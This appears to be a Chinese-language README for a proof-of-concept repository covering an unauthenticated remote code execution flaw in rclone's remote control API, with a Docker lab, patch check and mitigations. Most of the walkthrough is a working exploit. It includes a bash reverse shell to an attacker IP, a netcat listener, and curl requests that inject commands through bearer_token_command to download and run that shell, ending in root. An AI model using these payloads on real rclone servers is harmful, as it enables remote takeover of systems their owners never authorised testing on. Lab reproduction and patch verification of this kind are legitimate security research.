⚠️ 仅供教育用途 本仓库严格用于安全研究、教育和经授权的实验环境。PSSec 及本仓库的贡献者不纵容、支持或承担因使用此处信息、代码或技术而导致的任何未经授权、非法或恶意用途的责任。使用本仓库即表示您同意自行承担所有责任,并且仅会针对您拥有或已获得明确书面许可的系统进行测试。
CVE-2026-41179 是 rclone 内置远程控制(RC)API 中的一个严重未授权远程代码执行(RCE)漏洞,影响版本 1.48.0 至 1.73.4。
rclone 自带一个内置的 HTTP 远程控制接口(rcd)。/operations/fsinfo 端点接受用户提供的 fs= 字符串,该字符串会被解析并用于实例化后端 — 包括 WebDAV 后端。WebDAV 后端支持 bearer_token_command 参数,该参数未经任何清理便直接传递给 exec.Command()。由于该端点默认无需身份验证,未授权攻击者可以以 rclone 进程用户的身份触发任意操作系统命令执行。
攻击链简述:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
此命令构建一个运行 rclone v1.69.3 的 Debian-slim 容器,并在 5572 端口暴露 RC API。
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
现在可以通过 http://127.0.0.1:5572 在未授权情况下访问 RC API。
penelope -p 5555
# OR
nc -lvnp 5555
编辑 poc.sh 并设置您的攻击者 IP 和监听端口:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
在 poc.sh 所在目录下运行以下命令:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
检查您的监听器 — 您应该会从容器中收到一个 root Shell:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
使用已修补的镜像重复步骤 1–8,以确认漏洞已被修复:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
对 5573 端口发送相同的 curl 请求 — 该命令不应被执行。
--rc-user 和 --rc-pass 参数启动 rcd 以要求提供凭据。5572)的网络访问 — 它绝不应暴露给不受信任的网络。--rc-no-auth=false(已修补版本中的新默认值)。本仓库仅用于教育和经授权的安全研究目的。概念验证代码展示了受控 Docker 实验室环境中的一个真实漏洞。
PSSec 及所有贡献者:
未经授权将本代码用于生产系统或您不拥有的系统,可能违反您所在司法辖区的计算机欺诈和网络犯罪法律。
CVE-2026-41179 — PSSec 研究
| 详情 | 值 |
|---|
| CVE | CVE-2026-41179 |
| CVSS 评分 | 9.8(严重) |
| 受影响版本 | rclone 1.48.0 – 1.73.4 |
| 已修补版本 | rclone 1.73.5 |
| 组件 | RC API(/operations/fsinfo 端点) |
| 攻击向量 | 网络 — 无需身份验证 |